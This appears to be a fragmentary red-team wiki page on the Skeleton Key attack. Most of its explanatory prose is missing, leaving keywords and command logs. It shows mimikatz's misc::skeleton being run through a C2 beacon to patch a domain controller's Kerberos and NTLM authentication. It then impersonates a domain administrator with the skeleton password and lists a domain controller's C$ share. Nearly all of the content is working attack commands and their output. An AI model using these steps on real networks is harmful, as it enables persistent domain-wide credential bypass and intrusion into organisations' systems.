

(Skeleton key) **pass.exe** NTLM Kerberos **mimikatz**

mimikatz

```
mimikatz misc::skeleton
```

```
beacon> mimikatz misc::skeleton
[*] Tasked beacon to run mimikatz's misc::skeleton command
[+] host called home, sent: 750704 bytes
[+] received output:
[KDC] data
[KDC] struct
[KDC] keys patch OK
[RC4] functions
[RC4] init patch OK
[RC4] decrypt patch OK
```

mimikatz

```
beacon> make_token white-bird\administrator mimikatz
[*] Tasked beacon to create a token for white-bird\administrator
[+] host called home, sent: 63 bytes
[+] Impersonated WHITE-BIRD\serveradm
beacon> ls \\dc05\c$
[*] Tasked beacon to list files in \\dc05\c$
[+] host called home, sent: 39 bytes
[*] Listing: \\dc05\c$\
```

Size	Type	Last Modified	Name
----	----	-----	----
	dir	09/15/2018 00:19:00	\$Recycle.Bin
	dir	01/20/2023 19:43:56	Documents and Settings
	dir	09/15/2018 00:19:00	PerfLogs
	dir	01/20/2023 15:35:25	Program Files
	dir	01/20/2023 15:35:26	Program Files (x86)
	dir	04/02/2023 13:14:02	ProgramData
	dir	01/20/2023 19:44:02	Recovery
	dir	01/20/2023 15:48:48	System Volume Information
	dir	01/20/2023 15:35:21	Users
	dir	02/12/2023 06:33:40	Windows
512mb	fil	05/08/2023 13:06:26	pagefile.sys

Revision #6

Created 5 September 2022 03:14:09 by

Updated 15 June 2023 04:12:28 by